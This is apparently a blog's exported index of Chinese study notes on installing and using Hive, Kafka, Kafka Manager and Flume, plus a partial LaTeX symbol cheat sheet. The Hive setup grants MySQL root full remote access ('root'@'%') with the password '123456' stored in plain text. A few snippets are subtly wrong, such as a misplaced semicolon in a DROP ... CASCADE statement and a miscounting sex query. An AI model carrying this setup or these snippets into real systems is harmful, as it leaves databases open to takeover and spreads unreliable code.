mysql-server mysql-devel 第二步：启动 mysql 的服务/etc/init.d/mysqld start 第三步：通过 mysql 安装自带脚本进行设置/usr/bin/mysql_secure_installation 第四步：进入 mysql 的客户端然后进行授权mysql -uroot -p grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;flush privileges; 修改 hive 的配置文件修改 hive-env.sh添加我们的 hadoop 的环境变量 cd /export/servers/hive-1.1.0-cdh5.14.0/confcp hive-env.sh.template hive-env.shvim hive-env.sh hive-env.shHADOOP_HOME=/export/servers/hadoop-2.6.0-cdh5.14.0# Hive Configuration Directory can be controlled by:export HIVE_CONF_DIR=/export/servers/hive-1.1.0-cdh5.14.0/conf 修改 hive-site.xmlcd /export/servers/hive-1.1.0-cdh5.14.0/confvim hive-site.xml hive-site.xml<?xml-stylesheet type=\"text/xsl\" href=\"configuration.xsl\"?><configuration> <property> <name>javax.jdo.option.ConnectionURL</name> <value>jdbc:mysql://node03.hadoop.com:3306/hive?createDatabaseIfNotExist=true</value> </property> <property> <name>javax.jdo.option.ConnectionDriverName</name> <value>com.mysql.jdbc.Driver</value> </property> <property> <name>javax.jdo.option.ConnectionUserName</name> <value>root</value> </property> <property> <name>javax.jdo.option.ConnectionPassword</name> <value>123456</value> </property> <property> <name>hive.cli.print.current.db</name> <value>true</value> </property> <property> <name>hive.cli.print.header</name> <value>true</value> </property> <property> <name>hive.server2.thrift.bind.host</name> <value>node03.hadoop.com</value> </property></configuration> 上传 mysql 的 lib 驱动包将 mysql 的 lib 驱动包上传到 hive 的 lib 目录下 cd /export/servers/hive-1.1.0-cdh5.14.0/lib 将 mysql-connector-java-5.1.38.jar 上传到这个目录下 使用方式第一种交互方式：Hive 交互 shellcd /export/servers/hive-1.1.0-cdh5.14.0bin/hive 查看所有的数据库 hive (default)> show databases; 创建一个数据库 hive (default)> create database mydb; 使用该数据库并创建数据库表 hive (default)> use mydb;hive (myhive)> create table test(id int,name string); 以上命令操作完成之后，一定要确认 mysql 里面出来一个数据库 hive 第二种交互方式：Hive JDBC 服务启动 hiveserver2 服务后台启动 cd /export/servers/hive-1.1.0-cdh5.14.0nohup bin/hive --service hiveserver2 & beeline 连接 hiveserver2注意：如果使用 beeline 方式连接 hiveserver2，一定要保证 hive 在 mysql 当中的元数据库已经创建成功，不然就会拒绝连接 nohup bin/hive --service metastore & bin/beelinebeeline> !connect jdbc:hive2://node03.hadoop.com:10000 设置 mysql 的开机启动 chkconfig --add mysqldchkconfig mysqld onservice mysqld startservice mysqld status"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Hive/index.html","permalink":"https://blog.mhuig.top/notes/Hive/","excerpt":".fa-secondary{opacity:.4} Hive","text":".fa-secondary{opacity:.4} Hive Hive .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hive/uses.html","permalink":"https://blog.mhuig.top/notes/Hive/uses","excerpt":"","text":"使用方式 Hive 使用方式 创建数据库操作创建数据库create database if not exists myhive;use myhive; 说明：hive 的表存放位置模式是由 hive-site.xml 当中的一个属性指定的 hive-site.xml<name>hive.metastore.warehouse.dir</name><value>/user/hive/warehouse</value> 创建数据库并指定 hdfs 存储位置create database mydb02 location '/myhive22'; 修改数据库可以使用 alter database 命令来修改数据库的一些属性。但是数据库的元数据信息是不可更改的，包括数据库的名称以及数据库所在的位置 alter database mydb02 set dbproperties('createtime'='20190708'); 查看数据库详细信息查看数据库基本信息 desc database mydb02; 查看数据库更多详细信息 desc database extended mydb02; 删除数据库删除一个空数据库，如果数据库下面有数据表，那么就会报错 drop database myhive2; 强制删除数据库，包含数据库下面的表一起删除 drop database mydb02; cascade; 创建数据库表操作创建数据库表语法CREATE [EXTERNAL] TABLE [IF NOT EXISTS] table_name [(col_name data_type [COMMENT col_comment], ...)] [COMMENT table_comment] [PARTITIONED BY (col_name data_type [COMMENT col_comment], ...)] [CLUSTERED BY (col_name, col_name, ...) [SORTED BY (col_name [ASC|DESC], ...)] INTO num_buckets BUCKETS] [ROW FORMAT row_format] [STORED AS file_format] [LOCATION hdfs_path] 说明：1、 CREATE TABLE 创建一个指定名字的表。如果相同名字的表已经存在，则抛出异常；用户可以用 IF NOT EXISTS 选项来忽略这个异常。2、 EXTERNAL 关键字可以让用户创建一个外部表，在建表的同时指定一个指向实际数据的路径（LOCATION），Hive 创建内部表时，会将数据移动到数据仓库指向的路径；若创建外部表，仅记录数据所在的路径，不对数据的位置做任何改变。在删除表的时候，内部表的元数据和数据会被一起删除，而外部表只删除元数据，不删除数据。3、LIKE 允许用户复制现有的表结构，但是不复制数据。4、ROW FORMAT DELIMITED [FIELDS TERMINATED BY char] [COLLECTION ITEMS TERMINATED BY char] [MAP KEYS TERMINATED BY char] [LINES TERMINATED BY char] | SERDE serde_name [WITH SERDEPROPERTIES (property_name=property_value, property_name=property_value, ...)] 用户在建表的时候可以自定义 SerDe 或者使用自带的 SerDe。如果没有指定 ROW FORMAT 或者 ROW FORMAT DELIMITED，将会使用自带的SerDe。在建表的时候，用户还需要为表指定列，用户在指定表的列的同时也会指定自定义的 SerDe，Hive 通过 SerDe 确定表的具体的列的数据。5、 STORED AS SEQUENCEFILE|TEXTFILE|RCFILE 如果文件数据是纯文本，可以使用 STORED AS TEXTFILE。 hive 建表use mydb01;create table stu(id int,name string);insert into stu values (1,\"Tom\");select * from stu; 创建表并指定字段之间的分隔符 create table if not exists stu2(id int ,name string) row format delimited fieldsterminated by '\\t' stored as textfile location '/user/stu2'; 根据查询结果创建表 create table stu3 as select * from stu; 根据已经存在的表结构创建表 create table stu4 like stu; 查询表的类型 desc formatted stu2; 操作案例 分别创建老师与学生表表，并向表中加载数据创建老师表： create table teacher (t_id string,t_name string) row format delimited fields terminated by '\\t'; 创建学生表： create table student (s_id string,s_name string,s_birth string , s_sex string ) row format delimited fields terminated by '\\t'; 从本地文件系统向表中加载数据 load data local inpath '/export/servers/hivedatas/student.csv' into table student; 从 hdfs 文件系统向表中加载数据（需要提前将数据上传到 hdfs 文件系统，其实就是一个移动文件的操作） cd /export/servers/hivedatashdfs dfs -mkdir -p /hivedatashdfs dfs -put /export/servers/hivedatas/teacher.csv /hivedatas/load data inpath '/hivedatas/teacher.csv' into table teacher; 创建普通表, 并向表中加载数据 create table course (c_id string,c_name string,t_id string) row format delimited fields terminated by '\\t';load data local inpath '/export/servers/hivedatas/course.csv' into table course;create table score (s_id string,c_id string,s_score int) row format delimited fields terminated by '\\t';load data local inpath '/export/servers/hivedatas/score.csv' into table score; hive 语句综合操作1、查询姓氏首字母为 \"M\" 的教练的数量 select count(t_id) from teacher where t_name like 'M%'; 2、查询学过 \"MILLER\" 教练授课的同学的信息 select stu.* from student stu,score sc where stu.s_id = sc.s_id and sc.c_id in (select c_id from course c, teacher t where t.t_id = c.t_id and t_name = 'MILLER'); 3、查询所有同学的学生编号、学生姓名、选课总数、所有运动的总成绩 select stu.s_id,stu.s_name,count(sc.c_id) sum_course,sum(sc.s_score) sum_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name; 4、查询平均成绩大于等于 60 分的同学的学生编号和学生姓名和平均成绩 select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score >= 60;select stu.s_id,stu.s_name,Round(avg(sc.s_score),2) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having Round(avg(sc.s_score),2) >= 60; 5、查询平均成绩小于 60 分的同学的学生编号和学生姓名和平均成绩 (包括有成绩的和无成绩的) select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score < 60;select stu.s_id,stu.s_name,0 avg_score from student stu where stu.s_id not in(select distinct sc.s_id from score sc);select stu.s_id,stu.s_name,avg(sc.s_score) avg_score from student stu left join score sc on stu.s_id = sc.s_id group by stu.s_id,stu.s_name having avg_score < 60 union all select stu.s_id,stu.s_name,0 avg_score from student stu where stu.s_id not in(select distinct sc.s_id from score sc); 6、查询学过编号为 \"01\" 并且也学过编号为 \"02\" 的运动的同学的信息 select stu.* from student stu,score sc,score sc2 where stu.s_id = sc.s_id and stu.s_id = sc2.s_id and sc.c_id = '01'and sc2.c_id = '02'; 7、查询男生、女生人数 select count(s_sex='female'),count(s_sex='male') from student; 8、查询不及格的课程，并按课程号从大到小排列 select sc.c_id,sc.s_score from score sc where sc.s_score<60 order by sc.c_id desc; 9、查询课程编号为 \"01\" 且课程成绩在 60 分以上的学生的学号和姓名； select stu.s_id,stu.s_name,sc.s_score,sc.c_id from score sc,student stu where sc.s_id=stu.s_id and sc.c_id = 01 and sc.s_score>60; 10、查询不及格的课程，并按课程号从大到小排列 select sc.c_id,sc.s_score FROM score sc WHERE sc.s_score<60 order by sc.c_id desc;"},{"title":"","date":"2019-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Hive/overview.html","permalink":"https://blog.mhuig.top/notes/Hive/overview","excerpt":"","text":"Overview Hive 基本概念 什么是 HiveHive 是基于 Hadoop 的一个数据仓库工具，可以将结构化的数据文件映射为一张数据库表，并提供类 SQL 查询功能。其本质是将 SQL 转换为 MapReduce 的任务进行运算，底层由 HDFS 来提供数据的存储，说白了 hive 可以理解为一个将 SQL 转换为 MapReduce 的任务的工具，甚至更进一步可以说 hive 就是一个 MapReduce 的客户端 为什么使用 Hive直接使用 hadoop 所面临的问题 人员学习成本太高 项目周期要求太短 MapReduce 实现复杂查询逻辑开发难度太大 为什么要使用 Hive 操作接口采用类 SQL 语法，提供快速开发的能力。 避免了去写 MapReduce，减少开发人员的学习成本。 功能扩展很方便。 Hive 的特点可扩展Hive 可以自由的扩展集群的规模，一般情况下不需要重启服务。 延展性Hive 支持用户自定义函数，用户可以根据自己的需求来实现自己的函数。 容错良好的容错性，节点出现问题 SQL 仍可完成执行。 Hive 与 Hadoop 的关系Hive 利用 HDFS 存储数据，利用 MapReduce 查询分析数据 Hive 与传统数据库对比hive 用于海量数据的离线数据分析 总结：hive 具有 sql 数据库的外表，但应用场景完全不同，hive 只适合用来做批量数据统计分析"},{"title":"","date":"2022-05-10T07:23:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Kafka/deploy.html","permalink":"https://blog.mhuig.top/notes/Kafka/deploy","excerpt":"","text":"安装部署 kafka 的安装部署 下载下载 kafka 安装压缩包http://archive.apache.org/dist/kafka/ 安装kafka 的安装：kafka 的安装必须要先安装 zk，必须要保证时钟同步 第一步：下载上传解压压缩包cd /export/softwarestar -zxvf kafka_2.11-1.0.0.tgz -C ../servers/ 第二步：修改配置文件第一台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=0log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node01scp -r kafka_2.11-1.0.0/ node02:$PWD 第二台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=1log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node02scp -r kafka_2.11-1.0.0/ node03:$PWD 第三台修改配置文件 cd /export/servers/kafka_2.11-1.0.0/configvim server.properties server.propertiesbroker.id=2log.dirs=/export/servers/kafka_2.11-1.0.0/logszookeeper.connect=node01:2181,node02:2181,node03:2181delete.topic.enable=truehost.name=node03 第三步：三台机器启动 kafka 集群前台启动 bin/kafka-server-start.sh config/server.properties 进程后台启动 nohup bin/kafka-server-start.sh config/server.properties &"},{"title":"","date":"2022-05-10T07:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Kafka/manager.html","permalink":"https://blog.mhuig.top/notes/Kafka/manager","excerpt":"","text":"Kafka Manager kafka-manager 监控工具的使用 第一步：下载 kafkaManager源码下载地址： https://github.com/yahoo/kafka-manager/ 下载源码，然后上传解压准备编译 cd /export/servers/kafka-manager-1.3.3.15unzip kafka-manager-1.3.3.15.zip -d ../servers/./sbt clean dist 编译完成之后，我们需要的安装包就在这个路径之下 /export/servers/kafka-manager-1.3.3.15/target/universal 需要下载源码进行自己编译，比较麻烦，不要自己编译，已经有编译好的版本可以拿过来直接使用即可 第二步：上传编译好的压缩包并解压将我们编译好的 kafkamanager 的压缩包上传到服务器并解压 cd /export/softwaresunzip kafka-manager-1.3.3.15.zip -d /export/servers/ 第三步：修改配置文件cd /export/servers/kafka-manager-1.3.3.15/vim conf/application.conf application.confkafka-manager.zkhosts=\"node01:2181,node02:2181,node03:2181\" 第四步：为 kafkamanager 的启动脚本添加执行权限cd /export/servers/kafka-manager-1.3.3.15/binchmod u+x ./* 第五步：启动 kafkamanager 进程cd /export/servers/kafka-manager-1.3.3.15nohup bin/kafka-manager -Dconfig.file=/export/servers/kafka-manager1.3.3.15/conf/application.conf -Dhttp.port=8070 2>&1 & 第六步：浏览器页面访问http://node01:8070/"},{"title":"","date":"2022-05-10T07:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Kafka/overview.html","permalink":"https://blog.mhuig.top/notes/Kafka/overview","excerpt":"","text":"Overview kafka 的介绍 消息队列Kafka: 是由 Linked 开源提供的分布式消息队列, 由 scala 语言写成的 消息队列的作用: 解耦 异步 并行 推送和拉取传统的消息队列给予 pub sub 发布和订阅 Kafka 消息队列基于: push pull 过程 推送和拉取 构架模型Producer: 生产者, 生产消息的 主要接收一些外部的数据源 从外部获取数据 我们可以从 flume 中获取数据 kafkaAPI: 生产数据, 通过 push 的方式主动将数据推送到 kafka 的 topic 当中去 topic: 主题, 说白了里面就是一些各种数据 partition: 消息的分区, 解决横向扩展问题. 为了解决 partition 丢失问题, 引用了一个副本机制. Broker: 一个服务器叫做一个 broker; Consumer: 消费者, 主要用来消费数据的, 主动的 pull 到 topic 拉取数据 Zookeeper: 为了解决消费者消费数据的时候, 确定 topic 中到底有多少个 parttion, 都在哪些机器上. Kafka 消费模型: 组的概念, 同一时间, 一个组中, 只能有一个线程去消费 parttion 中的数据, Partition 里面包含了多个 segement,segement 里面两个文件 .log 文件 .index 文件 .log 记录了我们的数据, 文件是顺序读写的 .index 记录了.log 文件的索引 Offset: 消息的偏移量, 我们消费数据的时候, 都要记录消息的 offset, 下次再消费的时候, 我们就可以确定数据该从哪里进行消费"},{"title":"","date":"2022-05-10T07:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Kafka/uses.html","permalink":"https://blog.mhuig.top/notes/Kafka/uses","excerpt":"","text":"管理使用 kafka 的管理使用 命令行创建 topicbin/kafka-topics.sh --create --partitions 3 --topic test --replication-factor 2 --zookeeper node01:2181,node02:2181,node03:2181 模拟消息的生产者：bin/kafka-console-producer.sh --broker-list node01:9092,node02:9092,node03:9092 --topic test 模拟消息的消费者bin/kafka-console-consumer.sh --bootstrap-server node01:9092,node02:9092,node03:9092 --from-beginning --topic test 消费为什么没顺序? javaAPI生产者 APIpublic class MyKafkaProducer { public static void main(String[] args) { Properties props = new Properties(); props.put(\"bootstrap.servers\", \"node01:9092,node02:9092,node03:9092\"); props.put(\"acks\", \"all\"); props.put(\"retries\", 0); props.put(\"batch.size\", 16384); props.put(\"linger.ms\", 1); props.put(\"buffer.memory\", 33554432); props.put(\"key.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\"); props.put(\"value.serializer\", \"org.apache.kafka.common.serialization.StringSerializer\"); Producer<String, String> producer = new KafkaProducer<String,String>(props); for (int i = 0; i < 100; i++){ producer.send(new ProducerRecord<String, String>(\"test\", Integer.toString(i), Integer.toString(i))); } producer.close(); }} 消费者 APIpublic class MyKafkaConsumer { public static void main(String[] args) { /** * 自动提交 offset * */ Properties props = new Properties(); props.put(\"bootstrap.servers\", \"node01:9092,node02:9092,node03:9092\"); //设置我们的消费是属于哪一个组的，这个组名随便取，与别人的不重复即可 props.put(\"group.id\", \"test\"); //设置我们的 offset 值自动提交 props.put(\"enable.auto.commit\", \"true\"); //offset 的值自动提交的频率 1 提交 1.5 消费了 500 调数据 1.6 秒宕机了 2 提交 offset props.put(\"auto.commit.interval.ms\", \"1000\"); props.put(\"key.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\"); props.put(\"value.deserializer\", \"org.apache.kafka.common.serialization.StringDeserializer\"); KafkaConsumer<String, String> consumer = new KafkaConsumer<String,String>(props); //消费者订阅我们的 topic consumer.subscribe(Arrays.asList(\"test\")); //相当于开启了一个线程，一直在运行，等待 topic 当中有数据就去拉取数据 while (true) { //push poll ConsumerRecords<String, String> records = consumer.poll(100); for (ConsumerRecord<String, String> record : records) System.out.printf(\"offset = %d, key = %s, value = %s%n\", record.offset(), record.key(), record.value()); } }} 数据的分区探究的是 kafka 的数据生产出来之后究竟落到了哪一个分区里面去了 第一种分区策略：给定了分区号，直接将数据发送到指定的分区里面去 第二种分区策略：没有给定分区号，给定数据的 key 值，通过 key 取上 hashCode 进行分区 第三种分区策略：既没有给定分区号，也没有给定 key 值，直接轮循进行分区 第四种分区策略：自定义分区 producer.send(new ProducerRecord<String, String>(\"test\",Integer.toString(i), Integer.toString(i)));//kafka 的第一种分区方式，如果给定了分区号，那么就直接将数据发送到指定的分区号里面去producer.send(new ProducerRecord<String, String>(\"test\",2,\"helloworld\",i+\"\"));//kafka 的第二种分区策略，没有给定分区号，给定了数据的 key，那么就通过 key 取 hashcode，将数据均匀的发送到三台机器里面去//注意如果实际工作当中，要通过 key 取上 hashcode 来进行分区，那么就一定要 保证 key 的变化，否则，数据就会全部去往一个分区里面producer.send(new ProducerRecord<String, String>(\"test\",i+\"\",i+\"\"));//kafka 的第三种分区策略，既没有给定分区号，也没有给定数据的 key 值，那么就会按照轮循的方式进行数的发送producer.send(new ProducerRecord<String, String>(\"test\",i+\"\"));//kafka 的第四种分区策略，自定义分区类，实现我们数据的分区 配置文件Server.properties 配置文件说明 #broker 的全局唯一编号，不能重复broker.id=0#用来监听链接的端口，producer 或 consumer 将在此端口建立连接port=9092#处理网络请求的线程数量num.network.threads=3#用来处理磁盘 IO 的线程数量 页缓存功能 线程数量num.io.threads=8#发送套接字的缓冲区大小socket.send.buffer.bytes=102400#接受套接字的缓冲区大小socket.receive.buffer.bytes=102400#请求套接字的缓冲区大小socket.request.max.bytes=104857600#kafka 运行日志存放的路径 确定我们磁盘的路径 df -lh 多个磁盘路径用逗号隔开log.dirs=/export/data/kafka/#topic 在当前 broker 上的分片个数，(一般都是在创建 topic 的时候手动指定好了分区的个数)num.partitions=2#用来恢复和清理 data 下数据的线程数量 文件什么时候删除 168h 后 7 天后num.recovery.threads.per.data.dir=1#segment 文件保留的最长时间，超时将被删除log.retention.hours=1#滚动生成新的 segment 文件的最大时间log.roll.hours=1#日志文件中每个 segment 的大小，默认为 1Glog.segment.bytes=1073741824 新的 segemnt 文件生成的策略： 第一个: 时间长短，一个小时生成一个新的 第二个：文件大小，segement 文件达到 1G 也生成新的文件 #周期性检查文件大小的时间log.retention.check.interval.ms=300000#日志清理是否打开log.cleaner.enable=true#broker 需要使用 zookeeper 保存 meta 数据zookeeper.connect=zk01:2181,zk02:2181,zk03:2181#zookeeper 链接超时时间zookeeper.connection.timeout.ms=6000#partion buffer 中，消息的条数达到阈值，将触发 flush 到磁盘(页缓存里面有多少条数据 开始发)log.flush.interval.messages=10000#消息 buffer 的时间，达到阈值，将触发 flush 到磁盘log.flush.interval.ms=3000#删除 topic 需要 server.properties 中设置 delete.topic.enable=true 否则只是标记删除delete.topic.enable=true#此处的 host.name 为本机 IP(重要),如果不改,则客户端会抛出:Producer connection to localhost:9092 unsuccessful 错误!host.name=node01advertised.host.name=192.168.52.100 #广播地址 一般用不到 producer 生产者配置文件说明 生产数据的时候，尽量使用异步模式，可以提高数据生产的效率 #指定 kafka 节点列表，用于获取 metadata，不必全部指定metadata.broker.list=node01:9092,node02:9092,node03:9092# 指定分区处理类。默认 kafka.producer.DefaultPartitioner，表通过 key 哈希到对应分区#partitioner.class=kafka.producer.DefaultPartitioner# 是否压缩，默认 0 表示不压缩，1 表示用 gzip 压缩，2 表示用 snappy 压缩。压缩后消息中会有头来指明消息压缩类型，故在消费者端消息解压是透明的无需指定。compression.codec=none# 指定序列化处理类serializer.class=kafka.serializer.DefaultEncoder# 如果要压缩消息，这里指定哪些 topic 要压缩消息，默认 empty，表示不压缩。#compressed.topics=# 设置发送数据是否需要服务端的反馈,有三个值 0,1,-1# 0: producer 不会等待 broker 发送 ack# 1: 当 leader 接收到消息之后发送 ack# -1: 当所有的 follower 都同步消息成功后发送 ack.request.required.acks=1# 在向 producer 发送 ack 之前,broker 允许等待的最大时间 ，如果超时,broker 将会向 producer 发送一个 error ACK.意味着上一次消息因为某种原因未能成功(比如 follower 未能同步成功)request.timeout.ms=10000# 同步还是异步发送消息，默认“sync”表同步，\"async\"表异步。异步可以提高发送吞吐量,也意味着消息将会在本地 buffer 中,并适时批量发送，但是也可能导致丢失未发送过去的消息producer.type=sync# 在 async 模式下,当 message 被缓存的时间超过此值后,将会批量发送给broker,默认为 5000ms# 此值和 batch.num.messages 协同工作.queue.buffering.max.ms = 5000# 在 async 模式下,producer 端允许 buffer 的最大消息量# 无论如何,producer 都无法尽快的将消息发送给 broker,从而导致消息在producer 端大量沉积# 此时,如果消息的条数达到阀值,将会导致 producer 端阻塞或者消息被抛弃，默认为 10000queue.buffering.max.messages=20000# 如果是异步，指定每次批量发送数据量，默认为 200batch.num.messages=500# 当消息在 producer 端沉积的条数达到\"queue.buffering.max.meesages\"后# 阻塞一定时间后,队列仍然没有 enqueue(producer 仍然没有发送出任何消息)# 此时 producer 可以继续阻塞或者将消息抛弃,此 timeout 值用于控制\"阻塞\"的时间# -1: 无阻塞超时限制,消息不会被抛弃# 0:立即清空队列,消息被抛弃queue.enqueue.timeout.ms=-1# 当 producer 接收到 error ACK,或者没有接收到 ACK 时,允许消息重发的次数# 因为 broker 并没有完整的机制来避免消息重复,所以当网络异常时(比如ACK 丢失)# 有可能导致 broker 接收到重复的消息,默认值为 3.message.send.max.retries=3# producer 刷新 topic metada 的时间间隔,producer 需要知道 partition leader的位置,以及当前 topic 的情况# 因此 producer 需要一个机制来获取最新的 metadata,当 producer 遇到特定错误时,将会立即刷新# (比如 topic 失效,partition 丢失,leader 失效等),此外也可以通过此参数来配置额外的刷新机制，默认值 600000topic.metadata.refresh.interval.ms=60000 consumer 消费者配置详细说明 # zookeeper 连接服务器地址zookeeper.connect=zk01:2181,zk02:2181,zk03:2181# zookeeper 的 session 过期时间，默认 5000ms，用于检测消费者是否挂掉zookeeper.session.timeout.ms=5000#当消费者挂掉，其他消费者要等该指定时间才能检查到并且触发重新负载均衡zookeeper.connection.timeout.ms=10000# 指定多久消费者更新 offset 到 zookeeper 中。注意 offset 更新时基于 time而不是每次获得的消息。一旦在更新 zookeeper 发生异常并重启，将可能拿到已拿到过的消息(原来正在消费的线程保护期 看死没死透)zookeeper.sync.time.ms=2000#指定消费group.id=qst# 当 consumer 消费一定量的消息之后,将会自动向 zookeeper 提交 offset 信息# 注意 offset 信息并不是每消费一次消息就向 zk 提交一次,而是现在本地保存(内存),并定期提交,默认为 trueauto.commit.enable=true# 自动更新时间。默认 60 * 1000auto.commit.interval.ms=1000# 当前 consumer 的标识,可以设定,也可以有系统生成,主要用来跟踪消息消费情况,便于观察conusmer.id=xxx (没什么用)# 消费者客户端编号，用于区分不同客户端，默认客户端程序自动产生client.id=xxxx (没什么用)# 最大取多少块缓存到消费者(默认 10)queued.max.message.chunks=50(尽量一次多去点儿)# 当有新的 consumer 加入到 group 时,将会 reblance,此后将会有 partitions 的消费端迁移到新的 consumer上 ,如果一个 consumer 获得了某个 partition 的消费权限,那么它将会向 zk 注册 \"Partition Owner registry\"节点信息,但是有可能此时旧的 consumer 尚没有释放此节点, 此值用于控制,注册节点的重试次数.rebalance.max.retries=5# 获取消息的最大尺寸,broker 不会像 consumer 输出大于此值的消息 chunk每次 feth 将得到多条消息 ,此值为总大小 ,提升此值 ,将会消耗更多的 consumer 端内存fetch.min.bytes=6553600# 当消息的尺寸不足时,server 阻塞的时间,如果超时,消息将立即发送给consumerfetch.wait.max.ms=5000socket.receive.buffer.bytes=655360# 如果 zookeeper 没有 offset 值或 offset 值超出范围。那么就给个初始的 offset。有 smallest、largest、anything 可选，分别表示给当前最小的 offset、当前最大的 offset、抛异常。默认 largestauto.offset.reset=smallest# 指定序列化处理类derializer.class=kafka.serializer.DefaultDecoder flume 与 kafka 的整合需求：使用 flume 监控某一个文件夹下面的文件的产生，有了新文件，就将文件内容收集起来放到 kafka 消息队列当中 source：spoolDir Sourcechannel：memory channelsink：数据发送到 kafka 里面去 flume 与 kafka 的配置文件开发 第一步：flume 下载地址http://archive.cloudera.com/cdh5/cdh/5/flume-ng-1.6.0-cdh5.14.0.tar.gz 第二步：上传解压 flume 第三步：配置 flume.conf flume.confa1.sources = r1a1.channels = c1a1.sinks = k1a1.sources.r1.channels = c1a1.sources.r1.type = spooldira1.sources.r1.spoolDir = /export/servers/flumedataa1.sources.r1.deletePolicy = nevera1.sources.r1.fileSuffix = .COMPLETEDa1.sources.r1.ignorePattern = ^(.)*\\\\.tmp$a1.sources.r1.inputCharset = GBKa1.channels.c1.type = memorya1.sinks.k1.channel = c1a1.sinks.k1.type = org.apache.flume.sink.kafka.KafkaSinka1.sinks.k1.kafka.topic = testa1.sinks.k1.kafka.bootstrap.servers = node01:9092,node02:9092,node03:9092a1.sinks.k1.kafka.flumeBatchSize = 20a1.sinks.k1.kafka.producer.acks = 1 创建 flumedata 目录 mkdir -p /export/servers/flumedata 启动 flume bin/flume-ng agent --conf conf --conf-file conf/flume.conf --name a1 -Dflume.root.logger=INFO,console 消费数据 bin/kafka-console-consumer.sh --bootstrap-servernode01:9092,node02:9092,node03:9092 --from-beginning --topic test"},{"title":"","date":"2022-05-10T06:21:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Kafka/index.html","permalink":"https://blog.mhuig.top/notes/Kafka/","excerpt":".fa-secondary{opacity:.4} Kafka","text":".fa-secondary{opacity:.4} Kafka Kafka .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T11:31:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/LaTeX/index.html","permalink":"https://blog.mhuig.top/notes/LaTeX/","excerpt":".fa-secondary{opacity:.4}","text":".fa-secondary{opacity:.4} LaTeX 数学符号语法速查表 PS： 更多符号使用可以查看 [LaTeX:Symbols][Detexify][LaTexLive] 加减乘除 符号 语法 + - \\times \\div 幂运算 符号 语法 a^x a^{xyz} \\sqrt{x} \\sqrt[n]{x} 逻辑运算 符号 语法 \\oplus \\vee \\wedge 关系运算 符号 语法 = \\not= \\approx > < 符号 语法 \\equiv \\le \\ge \\ll \\gg 集合 符号 语法 \\in \\ni \\subset \\supset \\subseteq \\supseteq 存在 符号 语法 \\exists \\forall 希腊字母要输入希腊字母只要用反斜杠 \\ 加上相应字母的拼写即可。大写字母将对应拼写的首字母大写即可，这里仅列出一部分作为参考。 符号（小写） 语法 \\phi \\omega \\delta \\gamma 符号（大写） 语法 \\Phi \\Omega \\Delta \\Gamma 箭头 符号 语法 \\gets \\to \\Leftarrow \\Rightarrow \\Leftrightarrow 省略号 符号 语法 \\dots \\cdots \\vdots \\ddots 头顶符号 符号 语法 \\hat{x} \\bar{x} \\vec{x} \\dot{x} \\ddot{x} 标准括号 符号 语法 ( ) [ ] 取整括号（函数） 符号 语法 \\lfloor \\rfloor \\lceil \\rceil 空格LaTex 默认会忽略掉空格，要显示空格的话需要自己用命令输入（mu 是一个数学单位）。 效果 说明 语法 空格宽度是当前字宽 (18mu) \\quad 空格宽度是 3mu \\, 空格宽度是 4mu \\: 空格宽度是 5mu \\; 空格宽度是 - 3mu (向左缩) \\! 空格宽度是标准空格键效果 在 \\ 后面敲一个空格 空格宽度是 36mu \\qquad 上标与下标使用 ^ 和 _ 来表示上下标，使用 {} 来限定上下标的所属关系，下面是一些使用示例。 符号 语法 x^i a_i x^{a_i} x^a_i x^{a^i} x_{i+1} 上划线下划线 符号 语法 \\overline{a+bi} \\underline{xyz} 分式分式有两种尺寸表示，分别用 frac 和 dfrac 关键字表示 尺寸 较小 较小 适中 适中 符号 语法 \\frac{1}{2} \\frac{1+\\frac{1}{x}}{3x + 2} \\dfrac{1}{2} \\dfrac{1+\\frac{1}{x}}{3x + 2} 连续嵌套使用时用：\\cfrac 符号显示 语法 \\cfrac{1+\\cfrac{2}{1+\\cfrac{2}{1+\\cfrac{2}{1}}}}{2} 根式 符号 语法 \\sqrt{x+y} \\sqrt{x} \\sqrt[n]{x} 三角函数直接反斜杠 \\ 加正常书写的符号即可，这里只列举几个。 符号 语法 \\cos \\sin \\arccos 符号 语法 \\cos^2 x +\\sin^2 x = 1 \\cos 90^\\circ = 0 求和 求积 求极限 符号 语法 \\sum \\prod \\lim 符号 语法 \\sum_{i=1}^{\\infty}\\frac{1}{i} \\prod_{n=1}^5\\frac{n}{n-1} \\lim_{x\\to\\infty}\\frac{1}{x} 求积分 偏导 符号 语法 \\int \\oint \\partial^2y 符号 语法 \\frac{d}{dx}\\left(x^2\\right) = 2x \\int 2x\\ dx = x^2+C \\frac{\\partial^2U}{\\partial x^2} + \\frac{\\partial^2U}{\\partial y^2} 绝对值直接插入竖线 | 即可，可使用 \\left 、 \\right 标签来指定竖线的垂直长度与那对应字符块匹配 直接插入竖线： |a^x|指定垂直长度相匹配： 